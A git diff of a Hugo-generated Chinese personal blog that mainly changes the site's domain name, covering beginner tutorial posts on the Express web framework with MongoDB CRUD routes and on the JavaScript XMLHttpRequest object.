-</code></pre><p>访问localhost:3000/test/2</p><p>注意：req和res的区别，req是客户端请求，res是服务端响应</p><p>插入数据到MongoDB中</p><pre><code>app.use(express.json()) // 通过express.json()中间件，解析body中的json数据
-app.post('/admin' async function(req,res){
-    const data = req.body // 获取前端post请求的body数据
-    const dataMain = await testdb.create(data) // body数据create到MongoDB数据库中
-    res.send(dataMain)
-})
-</code></pre><p>修改MongoDB数据</p><pre><code>app.put('/admin/:id' async function(req,res){
-    const data = await testdb.findById(req.params.id) // 寻找目标id
-    data.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title
-    await data.save() // 保存到数据库中
-    res.send(data)
-})
-</code></pre><p>删除MongoDB数据</p><pre><code>app.delete('/admin/:id' async function(req,res){
-    const data = await testdb.findById(req.params.id) // 寻找目标id
-    await data.remove() // 从数据库中删除该数据
-    res.send({
-        code: 200
-    })
-})
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/express/>Express</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/140/><span class=title>« Prev</span><br><span>browserslist的简单配置</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/137/><span class=title>Next »</span><br><span>简单使用Hugo搭建网站</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &#34;abc&#34;}, {_id: 2, title: &#34;xyz&#34;} {_id: 3, title: &#34;abcxyz&#34;} ])*/ app."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Express-Web应用框架","item":"https://chenjunlinabc.github.io/posts/138/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Express-Web应用框架","name":"简单使用Express-Web应用框架","description":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express \u0026ndash;save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\u0026quot;express\u0026quot;) const app = express() app.get('/',function(req,res){ res.end(\u0026quot;hallo world!\u0026quot;) }) app.listen(3000) 运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(\u0026rsquo;/src\u0026rsquo;,express.static(\u0026lsquo;src\u0026rsquo;))\n解决跨域问题（依赖于cors模块）\napp.use(require(\u0026lsquo;cors\u0026rsquo;)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: \u0026quot;abc\u0026quot;}, {_id: 2, title: \u0026quot;xyz\u0026quot;} {_id: 3, title: \u0026quot;abcxyz\u0026quot;} ])*/ app.","keywords":["Express"],"articleBody":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express –save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\"express\") const app = express() app.get('/',function(req,res){ res.end(\"hallo world!\") }) app.listen(3000) 运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(’/src’,express.static(‘src’))\n解决跨域问题（依赖于cors模块）\napp.use(require(‘cors’)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: \"abc\"}, {_id: 2, title: \"xyz\"} {_id: 3, title: \"abcxyz\"} ])*/ app.get('/test',async function(req,res){ res.send(await testdb.find()) }) 查询MongoDB数据\napp.get('/test',async function(req,res){ // const data = await testdb.find().skip(1).limit(2) /* const data = await testdb.find().where({ title: 'abc' */ const data = await testdb.find().sort({ _id: -1 }) res.send(data) }) skip(1)跳过多少条，limit(2)显示多少条，where()可指定查询某个字段为某个值的数据，sort()表示排序的顺序（1为正序，-1为倒序）\napp.get('/test/:id',async function(req,res){ const data = await testdb.findById(req.params.id) res.send(data) }) 访问localhost:3000/test/2\n注意：req和res的区别，req是客户端请求，res是服务端响应\n插入数据到MongoDB中\napp.use(express.json()) // 通过express.json()中间件，解析body中的json数据 app.post('/admin' async function(req,res){ const data = req.body // 获取前端post请求的body数据 const dataMain = await testdb.create(data) // body数据create到MongoDB数据库中 res.send(dataMain) }) 修改MongoDB数据\napp.put('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id data.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title await data.save() // 保存到数据库中 res.send(data) }) 删除MongoDB数据\napp.delete('/admin/:id' async function(req,res){ const data = await testdb.findById(req.params.id) // 寻找目标id await data.remove() // 从数据库中删除该数据 res.send({ code: 200 }) }) ","wordCount":"189","inLanguage":"en","datePublished":"2022-02-28T18:04:00Z","dateModified":"2022-02-28T18:04:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/138/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Express-Web应用框架</h1><div class=post-meta><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Express-Web%e5%ba%94%e7%94%a8%e6%a1%86%e6%9e%b6.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架</p><p>安装</p><p>npm install express &ndash;save</p><p>或者安装express-generator脚手架</p><p>npm install -g express-generator</p><p>脚手架：</p><p>初始化项目（demo是项目名）</p><p>express demo</p><p>安装依赖</p><p>npm install</p><p>运行</p><p>npm start</p><p>如果不使用脚手架（main.js）</p><pre><code>const express = require(&quot;express&quot;)
+const app = express()
+app.get('/',function(req,res){ 
+    res.end(&quot;hallo world!&quot;)
+})
+app.listen(3000)
+</code></pre><p>运行</p><p>node main.js</p><p>或者（监视nodejs应用中的任何更改并自动重启服务）</p><p>nodemon main.js</p><p>访问localhost:3000</p><p>静态文件管理（必须通过/src才能访问src文件夹的静态文件）</p><p>app.use(&rsquo;/src&rsquo;,express.static(&lsquo;src&rsquo;))</p><p>解决跨域问题（依赖于cors模块）</p><p>app.use(require(&lsquo;cors&rsquo;)())</p><p>Express连接MongoDB（mongoose）</p><p>npm install mongoose</p><pre><code>const mongoose = require('mongoose')
+mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
+const testdb = mongoose.model('testdb',new mongoose.Schema({
+    _id: Number,
+    title: String
+}))
+/*testdb.inserMany([
+    {_id: 1, title: &quot;abc&quot;},
+    {_id: 2, title: &quot;xyz&quot;}
+    {_id: 3, title: &quot;abcxyz&quot;}
+])*/
+app.get('/test',async function(req,res){
+    res.send(await testdb.find())
+})
+</code></pre><p>查询MongoDB数据</p><pre><code>app.get('/test',async function(req,res){
+    // const data = await testdb.find().skip(1).limit(2)
+    /* const data = await testdb.find().where({
+       title: 'abc'
+    */
+    const data = await testdb.find().sort({
+        _id: -1
+    })
+    res.send(data)
+})
+</code></pre><p>skip(1)跳过多少条，limit(2)显示多少条，where()可指定查询某个字段为某个值的数据，sort()表示排序的顺序（1为正序，-1为倒序）</p><pre><code>app.get('/test/:id',async function(req,res){
+    const data = await testdb.findById(req.params.id)
+    res.send(data)
+})
+</code></pre><p>访问localhost:3000/test/2</p><p>注意：req和res的区别，req是客户端请求，res是服务端响应</p><p>插入数据到MongoDB中</p><pre><code>app.use(express.json()) // 通过express.json()中间件，解析body中的json数据
+app.post('/admin' async function(req,res){
+    const data = req.body // 获取前端post请求的body数据
+    const dataMain = await testdb.create(data) // body数据create到MongoDB数据库中
+    res.send(dataMain)
+})
+</code></pre><p>修改MongoDB数据</p><pre><code>app.put('/admin/:id' async function(req,res){
+    const data = await testdb.findById(req.params.id) // 寻找目标id
+    data.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title
+    await data.save() // 保存到数据库中
+    res.send(data)
+})
+</code></pre><p>删除MongoDB数据</p><pre><code>app.delete('/admin/:id' async function(req,res){
+    const data = await testdb.findById(req.params.id) // 寻找目标id
+    await data.remove() // 从数据库中删除该数据
+    res.send({
+        code: 200
+    })
+})
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/express/>Express</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/140/><span class=title>« Prev</span><br><span>browserslist的简单配置</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/137/><span class=title>Next »</span><br><span>简单使用Hugo搭建网站</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/14/index.html b/posts/14/index.html
index 362b6bc2..ec5f81b9 100644
--- a/posts/14/index.html
+++ b/posts/14/index.html
@@ -1,7 +1,7 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>JavaScript-XMLHttpRequest对象笔记 | 小陈的个人博客</title><meta name=keywords content="JavaScript"><meta name=description content="ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.getElementById(&#34;app&#34;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
xmlhttp.open(&#34;GET&#34;,&#34;https://httpbin.org/get&#34;,true)
console.log(xmlhttp.readyState) // 1
xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById(&#34;app&#34;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&#34;GET&#34;,&#34;https://httpbin.org/get&#34;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -19,11 +19,11 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/14/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript-XMLHttpRequest对象笔记"><meta property="og:description" content="ajax请求是异步的，因此可以通过回调函数来处理响应
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/14/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="JavaScript-XMLHttpRequest对象笔记"><meta property="og:description" content="ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.getElementById(&#34;app&#34;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
xmlhttp.open(&#34;GET&#34;,&#34;https://httpbin.org/get&#34;,true)
console.log(xmlhttp.readyState) // 1
xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById(&#34;app&#34;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&#34;GET&#34;,&#34;https://httpbin.org/get&#34;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -41,10 +41,10 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/14/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:25:49+00:00"><meta property="article:modified_time" content="2021-06-16T09:25:49+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript-XMLHttpRequest对象笔记"><meta name=twitter:description content="ajax请求是异步的，因此可以通过回调函数来处理响应
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/14/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:25:49+00:00"><meta property="article:modified_time" content="2021-06-16T09:25:49+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="JavaScript-XMLHttpRequest对象笔记"><meta name=twitter:description content="ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
document.getElementById(&#34;app&#34;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
xmlhttp.open(&#34;GET&#34;,&#34;https://httpbin.org/get&#34;,true)
console.log(xmlhttp.readyState) // 1
xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById(&#34;app&#34;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&#34;GET&#34;,&#34;https://httpbin.org/get&#34;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -62,22 +62,22 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JavaScript-XMLHttpRequest对象笔记","item":"https://xiaochenabc123.github.io/posts/14/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JavaScript-XMLHttpRequest对象笔记","name":"JavaScript-XMLHttpRequest对象笔记","description":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest()\rxmlhttp.onreadystatechange = function(){\rif(xmlhttp.readyState == 4 \u0026amp;\u0026amp; xmlhttp.status == 200){\rdocument.getElementById(\u0026quot;app\u0026quot;).innerHTML = xmlhttp.responseText\r}\r}\rconsole.log(xmlhttp.readyState) // 